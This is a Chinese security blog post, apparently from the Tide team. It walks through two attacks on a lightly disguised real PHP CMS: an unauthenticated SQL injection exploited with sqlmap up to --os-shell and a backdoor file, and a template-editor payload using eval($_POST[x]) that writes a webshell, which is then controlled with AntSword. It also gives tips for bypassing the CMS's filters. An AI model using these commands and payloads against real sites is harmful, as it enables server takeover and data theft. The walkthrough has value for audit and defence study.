cms通用漏洞之表达式&系统函数
2022-3-22 17:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:7 收藏


概述

小伙伴们大家好,为了满足审计需求,通篇使用demo cms的别名代替真实的系统名称,望大家海涵。用心的还是可以从文中发现蛛丝马迹,找到源码的,咳咳,,,懂得都懂。

demo cms 是一种用 php 语言编写的 web 内容管理,需要一个 mysql 数据库。demo cms 是为那些没有太多 HTML 或 PHP 技术知识但想要运行具有专业外观的个人或商业网站的人们而设计的。在不到 30 分钟的时间内,您就可以运行您的专业外观和令人印象深刻的网站,而无需聘请任何具有 demo cms的专业网站管理员。demo cms 已于去年发布,其下载量创下新高。

现在越来越多的人下载和使用 demo cms,因为它的简单性和强大的功能。正如我已经说过的,您不必成为专业的网站管理员来运行您的 demo cms 网站。如果您可以使用带有计算机键盘的简单记事本,那么您可以成功运行 demo cms。

、表达式

安装:

安装傻瓜式操作,一步一步往下点就好了。

效果:

前台展示:

后台展示:

代码分析 && 拿权限

安装完以后,直接产看代码的文件,全局正则匹配select .*? where。这个是重点,审计多了,你就可以领会快速搜索就可以找到系统中存在漏洞,分分钟搞定一个系统存在的漏洞。看下图效果

快速通读下代码上下文,这里没有加过滤。接着搜索哪里调用了这个函数。

这里有调用,而且没有过滤,直接访问页面,抓包。

无需用户登录直接访问URL:

http://www.democms.com/index.php?page=1

手动在page中构建payload,在page=1后面直接加个单引号,进行验证。访

问后,数据库返回来页面错误。



很明显这里有注入,用SQLmap跑一下数据库信息

sqlmap命令:sqlmap -u "http://www.democms.com/index.php?page=1" --current-db --batch


然后使用下面这个命令获取数据库表信息

sqlmap -u "http://www.democms.com/index.php?page=1" -D democms --tables  --batch:

然后使用下面这个命令获取用户表里的字段信息:

sqlmap -u "http://www.democms.com/index.php?page=1" -D democms -T users --columns  --batch

最后获得管理员用户信息,使用下面命令:


通过上面的hash值,借助第三方平台拿下明文密码:

此时进入系统后台:

拿下系统后台权限,可以使用后台的全部功能。
接着通过—os-shell的选项,拿下服务权限,命令如下:

sqlmap -u "http://www.democms.com/index.php?page=1" --os-shell

在过程中填写路径的时候,填上我们的实际路径就好,如下图所示:



选择2,在下面填写路径,最后结果返回系统shell,同时创建了后门文件。通过shell执行系统命令:

也可访问后门文件:

至此,通过前台文件index.php,无需用户登录,实现了拿系统后台权限,和服务器权限。造成了非常严重的后果。全过程都在本地虚拟机中进行的测试,域名也是解析的本地解析。

看到这里的小伙伴,有没有觉得Soeasy,方法很重要,思路要够清晰,通用漏洞的挖掘就是这么简单。

二、系统函数

安装:

效果:

前台展示:

后台默认是关闭的,手工打开,配置如下:
打开config.php文件,将Manage放到上面,效果如下图:


此时登录后台程序:地址如下:

http://www.democms.com/index.php?s=/Manage/Login/index

登录后效果:

代码分析 && 拿权限

拿权限:

安装完以后,查看后台的编辑功能,如下:

点击编辑:

在模板的下部分,添加恶意代码:

{:S("s",'eval($_POST[x]);//')}保存成功后,前台访问:http://www.democms.com此时系统就给生成了一句话木马文件,路径为http://www.democms.com/app/runtime/temp/h8CFnHw_03c7c0ace395d80182db07ae2c30f034.php

访问,post传参:【x=phpinfo();】后就可以看到恶意代码被执行:

使用蚁剑链接木马,获得服务器权限:

查看数据配置信息:

同学是不是感觉很简单,但是这里的坑不少:
1、普通的菜刀不能链接
2、借助系统已有函数绕过滤的思想要有
3、借助换行绕过结构的注释

代码分析:

File.class.php文件中有写入文件的操作,如下图:

此时并没有对文件内容过过滤,接着找到代用它的上级调用方法:


所以结合模板编辑的功能,虽然做了常规的PHP的过滤如下图所示:


但是通过这种合规函数变相绕过,就可以拿些服务器权限,造成服务器沦陷。

总结:

通过系统合规函数,构建恶意代码,实现代码执行。拿到了服务器全部权限、源码,以及数据库信息,造成了很严重的后果。

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247496147&idx=1&sn=5e4c92e3ee59ff03451004fc13737147&chksm=ce5dd3b2f92a5aa491e7e976c46a0db436a0afe335655da21a5646c991bbc91babd3e456cc30#rd
如有侵权请联系:admin#unsafe.sh